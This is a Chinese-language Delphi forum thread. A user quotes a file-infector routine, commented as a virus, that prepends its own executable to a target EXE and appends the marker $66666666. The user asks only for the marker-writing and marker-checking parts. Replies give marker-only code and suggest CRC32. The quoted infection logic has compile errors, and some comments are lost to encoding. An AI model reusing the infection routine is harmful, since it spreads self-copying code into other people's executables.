分别给出2个代码
1个:
在某个EXE的最后个字节写入666666
2个
检测某个EXE最后个字节是不是666666
procedure copy(s:string);///S:目标文件完整文件名(带路径的)
var
s1,s2,s3:tmemorystream; //内存流
file1:tfilestream;//文件流
id:integer;
iid:longint;
const
id=$66666666;//感染标识
begin
  file1:=tfilestream.Create(s,fmopenread);//将目标文件读入文件流
  if file1.Size>1024000 then //如果目标文件大于10M则退出
    begin
    file1.Free;
    close;
    end
    else
    begin
    file1.Free;//比较完毕释放文件流
  s1:=tmemorystream.Create;//创建内存流
  s1.LoadFromFile(paramstr(0));//将病毒自身读入临时内存流
  s2:=tmemorystream.Create;
  s2.CopyFrom(s1,s1.Size);//将病毒流写入主内存流
  s1.Clear;
  s3:=tmemorystream.creat;
  s3.LoadFromFile(s);//装入目标文件
  s3.seek(-4,sofromend);//定位到文件的最后4个字节
  s3.read(iid,4);//读取最后4个字节
  if iid=id then  //判断是否感染
  begin
  s3.free;//如果感染过了就退出
  close;
  end
  else
  begin
  s1.loadfromfile(s);//将目标文件装入临时流
  s2.Seek(s2.Size,sofrombeginning);//定位到主内存流的尾部
  s2.CopyFrom(s1,s1.Size);//写入目标文件到主内存流
  s1.Free;
  s2.seek(0,sofromend);//定位到尾部
  iid:=$66666666;
  s2.write(iid,4);//写入感染标识
  s2.SaveToFile(s);//将主内存流写入目标文件完成感染
  s2.Free;
      end;
    end;
end;
我只想要其中写入内容
和检测内容的代码
来帮我 提取出来,着里面有着个的代码
我不是弄病毒,我只是想在某个文件上做个标记,

解决方案 »

  1.   

    如果只要写,读,稍改了下:procedure copy(s:string);///S:?????????(????)
    var
        s3:tmemorystream; //???
        file1:tfilestream;//???
        iid:longint;
        const
            id=$66666666;//????
    begin
      file1:=tfilestream.Create(s,fmopenread);//??????????
      if file1.Size>1024000 then //????????10M???
      begin
            file1.Free;
            exit;
      end
      else
      begin
          file1.Free;
          s3:=tmemorystream.create;
          s3.LoadFromFile(s);//??????
          s3.seek(-4,sofromend);//????????4???
          s3.read(iid,4);//????4???
          if iid=id then  //??????
          begin
            s3.free;//?????????
            exit;
          end  else
          begin
            s3.seek(0,sofromend);//?????
            iid:=$66666666;
            s3.write(iid,4);//??????
            s3.SaveToFile(s);//???????????????
            s3.Free;
          end;
      end;
    end;
      

  2.   

    var 
        s3:tmemorystream;
        file1:tfilestream;
        iid:longint;
        s: string;
        const 
            id=$66666666读的
     s3:=tmemorystream.create; 
          s3.LoadFromFile(s);
          s3.seek(-4,sofromend);
          s3.read(iid,4);
          if iid=id then
          begin 
            s3.free;
            exit; 
          end;
    写的
    s3.LoadFromFile(s);
     s3.seek(0,sofromend);
            iid:=$66666666; 
            s3.write(iid,4);
            s3.SaveToFile(s);
            s3.Free; 
          end;s是文件的路径
    这样对不?
    我在EXE里加东西不会导致EXE不能运行把..
     
      

  3.   

    如果是防止修改的话,用CRC32做个验证算法安全性更高一点